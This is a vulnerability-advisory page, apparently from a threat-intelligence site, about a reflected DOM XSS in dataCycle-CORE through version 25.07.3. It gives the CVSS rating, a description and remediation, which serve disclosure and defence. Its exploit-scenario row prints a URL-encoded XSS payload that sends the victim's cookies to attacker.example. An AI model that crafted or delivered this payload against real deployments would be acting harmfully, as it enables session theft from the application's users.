EUVD-2026-45981Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Network-delivered, no authentication required, but mandatory victim click; scope change reflects JS executing across victim browser context beyond application boundary.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Lifecycle Timeline
1DescriptionCVE.org
dataCycle is a data management system for centrally storing, managing, searching, finding, and distributing data. In dataCycle-CORE, the module handling core processing and framework rules, before and including version 25.07.3, any unauthenticated attacker can place arbitrary HTML into flash notifications on public routes and rely on the frontend toast component to inject that content into the DOM with innerHTML. This creates a reflected DOM XSS that can be delivered with a crafted link to a public page such as /docs. Because the vulnerable JavaScript is loaded by the normal application layout, the issue is not limited to a special debug page or an isolated admin-only view.
AnalysisAI
Reflected DOM XSS in dataCycle-CORE versions up to and including 25.07.3 allows unauthenticated remote attackers to inject arbitrary HTML into flash notification toast components via crafted links to public routes such as /docs. The frontend toast component renders attacker-supplied content directly via innerHTML without sanitization, enabling script execution in the victim's browser across the normal application layout - not limited to isolated or admin-only views. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The dataCycle-CORE instance must be publicly accessible over the network (AV:N). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 base score of 6.1 (Medium) is supported by the vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker constructs a URL such as `/docs?flash=%3Cimg+src%3Dx+onerror%3D%22document.location%3D%27https%3A%2F%2Fattacker.example%2Fsteal%3Fc%3D%27%2Bdocument.cookie%22%3E` and delivers it via a phishing email or social media message targeting users of a dataCycle deployment. When the victim clicks the link and the page loads, the application's toast notification JavaScript reads the flash parameter and inserts it into the DOM via `innerHTML`, executing the attacker's payload in the victim's browser and exfiltrating session cookies or CSRF tokens to the attacker-controlled endpoint. … |
| Remediation | Upgrade dataCycle-CORE to a version beyond 25.07.3 per the vendor's GitHub Security Advisory GHSA-q6x5-wcg6-v4gw (https://github.com/datacycle-engine/dataCycle-CORE/security/advisories/GHSA-q6x5-wcg6-v4gw); the exact patched release version is not independently confirmed from the available data and must be verified directly in that advisory. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Datacycle Core
View allBroken object-level authorization in dataCycle-CORE (versions up to and including 25.07.3) lets any authenticated API us
Arbitrary file disclosure in dataCycle-CORE (versions up to and including 25.07.3) allows an unauthenticated remote atta
Broken authorization in dataCycle-CORE (versions up to and including 25.07.3) lets any authenticated low-privileged user
Broken authorization in dataCycle-CORE (versions up to and including 25.07.3) lets any remote, unauthenticated caller do
Account takeover via unthrottled online password guessing affects dataCycle-CORE (versions up to and including 25.07.3),
Open redirect and token-theft in dataCycle-CORE (all versions up to and including 25.07.3) lets a low-privileged authent
Improper authorization in dataCycle-CORE versions up to and including 25.07.3 allows any Standard user to enumerate the
Cross-site request forgery in dataCycle-CORE (≤ 25.07.3) enables remote attackers to force authenticated users into unin
Same weakness CWE-80 – Basic XSS
View allShare
External POC / Exploit Code
Leaving vuln.today